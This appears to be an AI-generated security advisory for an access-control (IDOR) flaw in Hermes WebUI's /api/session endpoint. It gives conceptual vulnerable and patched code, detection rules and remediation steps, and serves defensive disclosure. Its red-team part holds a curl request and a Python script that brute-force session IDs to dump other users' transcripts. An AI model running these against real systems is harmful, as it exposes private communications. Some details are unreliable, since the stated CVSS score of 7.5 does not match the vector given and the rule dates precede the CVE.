CVE-2026-55197

Executive Summary

CVE-2026-55197 is a critical broken access control vulnerability in Hermes WebUI, a web-based interface for managing messaging or session-based systems. The flaw resides in the /api/session endpoint, where authenticated users can bypass profile boundary checks by directly querying session IDs belonging to other profiles. This allows an attacker to retrieve unauthorized conversation transcripts and metadata, leading to a significant breach of confidentiality. The vulnerability is rated with a CVSS score of 7.5 (High) due to its low attack complexity and network-based attack vector, though it requires authentication. No public exploit code or nuclei template has been released, but the attack vector is straightforward and documented in the CVE description.

Supply Chain & Package Security

Hermes WebUI is a standalone web application, not distributed via NPM, PyPI, Go, or Ruby registries. The supply chain risk is limited to the integrity of the software distribution channel (e.g., official website or repository). Users should verify the authenticity of the downloaded package and ensure they are using the official source.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions or race conditions are required.
• Privileges Required: Low (PR:L) – An attacker must have a valid authenticated session.
• User Interaction: None (UI:N) – No user action is needed for exploitation.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full disclosure of session transcripts and metadata.
• Integrity Impact: None (I:N) – No data modification is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability allows an authenticated attacker to read any session transcript, potentially exposing sensitive communications, credentials, or personal data. The low complexity and network accessibility make it a prime target for internal or external attackers with valid credentials.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (IDOR) combined with Broken Access Control. The /api/session endpoint is designed to return session data for the currently authenticated user's profile. However, the endpoint does not properly validate that the requested session_id belongs to the authenticated user's profile. Instead, it directly queries the database or session store using the provided session_id parameter without checking ownership.

Attack Flow:

1. An attacker authenticates to the Hermes WebUI (e.g., with low-privileged credentials).
2. The attacker obtains a valid session cookie or token.
3. The attacker sends a GET request to /api/session?session_id=<foreign_id>&messages=1, where <foreign_id> is a session ID belonging to another user.
4. The server returns the full conversation transcript and metadata for that foreign session, bypassing profile boundary checks.

Root Cause: The backend code likely uses a query like SELECT * FROM sessions WHERE id = :session_id without appending a AND user_id = :current_user_id condition. This allows any authenticated user to access any session record.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/session', methods=['GET'])
def get_session():
    session_id = request.args.get('session_id')
    messages = request.args.get('messages')
    # No user_id check
    session = db.execute("SELECT * FROM sessions WHERE id = ?", (session_id,)).fetchone()
    if messages:
        transcript = db.execute("SELECT * FROM messages WHERE session_id = ?", (session_id,)).fetchall()
        return jsonify(session=session, messages=transcript)
    return jsonify(session=session)

Patched Code (Conceptual):

@app.route('/api/session', methods=['GET'])
def get_session():
    session_id = request.args.get('session_id')
    messages = request.args.get('messages')
    current_user_id = get_current_user_id()  # from session/token
    # Enforce profile boundary
    session = db.execute("SELECT * FROM sessions WHERE id = ? AND user_id = ?", (session_id, current_user_id)).fetchone()
    if not session:
        return jsonify(error="Session not found or access denied"), 403
    if messages:
        transcript = db.execute("SELECT * FROM messages WHERE session_id = ?", (session_id,)).fetchall()
        return jsonify(session=session, messages=transcript)
    return jsonify(session=session)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid authenticated session (e.g., cookie or token) for any user on the Hermes WebUI.
• Network access to the Hermes WebUI server.
• Knowledge of a foreign session ID (can be enumerated via other endpoints or brute-forced if IDs are sequential).

Exploitation Steps:

1. Authenticate: Log in to the Hermes WebUI and capture the session cookie (e.g., session=abc123).
2. Enumerate Session IDs: If session IDs are predictable (e.g., sequential integers), iterate through them. Otherwise, use other API endpoints that may leak session IDs (e.g., /api/users or /api/conversations).
3. Exploit: Send a GET request to the vulnerable endpoint:

   curl -X GET "https://target-hermes-webui/api/session?session_id=42&messages=1" \
        -H "Cookie: session=abc123"
   

4. Extract Data: The response will contain the full transcript and metadata for session ID 42, which belongs to another user.

Automation Script (Python):

import requests

target = "https://target-hermes-webui"
session_cookie = {"session": "abc123"}

# Brute-force session IDs (example range)
for sid in range(1, 100):
    url = f"{target}/api/session?session_id={sid}&messages=1"
    r = requests.get(url, cookies=session_cookie)
    if r.status_code == 200 and "messages" in r.json():
        print(f"Session {sid} leaked: {r.json()}")

Blue Team

Detection:

• Monitor for anomalous API calls to /api/session with varying session_id parameters from the same user.
• Alert on multiple 200 responses from /api/session with different session_id values within a short time window.
• Use the detection rules provided in the Detection Engineering section.

Hunting:

• Search logs for GET /api/session?session_id= requests where the session_id does not match the user's own session IDs.
• Correlate with authentication logs to identify users who are accessing sessions outside their profile.

Containment:

• Immediately apply the patch (upgrade to version 0.51.443 or later).
• If patching is delayed, implement a WAF rule to block requests to /api/session with a session_id parameter that does not match the authenticated user's profile (requires custom logic).
• Rotate all session tokens and force re-authentication for all users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /api/session?session_id=<number>&messages=1 from a single IP address with multiple different session_id values.
  • Unusual volume of 200 responses from /api/session for a single authenticated user.
• Log IOCs:
  • Access logs showing GET /api/session?session_id=... with session_id values that do not correspond to the user's own sessions.
  • Authentication logs showing a user accessing the API from an unexpected IP or at unusual times.
• File IOCs:
  • No file-based IOCs as this is a server-side API vulnerability.

Detection Engineering

YARA Rule

rule Detect_Hermes_WebUI_Session_Leak {
    meta:
        description = "Detects exploitation attempts of CVE-2026-55197 in Hermes WebUI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-55197"
    strings:
        $suspicious_path = "/api/session"
        $session_param = "session_id="
        $messages_param = "&messages=1"
    condition:
        all of them
}

Sigma Rule

title: Hermes WebUI Session IDOR Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2026-55197 by querying multiple foreign session IDs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: GET
        cs-uri-stem: "/api/session"
        cs-uri-query|contains: "session_id="
        cs-uri-query|contains: "&messages=1"
    condition: selection
falsepositives:
    - Legitimate use of the API by administrators (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-55197 Hermes WebUI Session IDOR Exploitation"; flow:to_server,established; content:"GET"; http_method; content:"/api/session"; http_uri; content:"session_id="; http_uri; content:"&messages=1"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Hermes WebUI to version 0.51.443 or later. This is the only definitive fix.
2. Workaround: If patching is not immediately possible, implement a reverse proxy or WAF rule that validates the session_id parameter against the authenticated user's profile. This is complex and may break functionality.
3. Audit: Review access logs for signs of exploitation. If found, rotate all session tokens and notify affected users.

Long-Term Measures:

• Implement proper access control checks on all API endpoints that accept user-supplied identifiers.
• Use parameterized queries to prevent SQL injection (though not the primary issue here).
• Conduct regular security audits and penetration testing.
• Monitor for similar IDOR vulnerabilities in other parts of the application.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.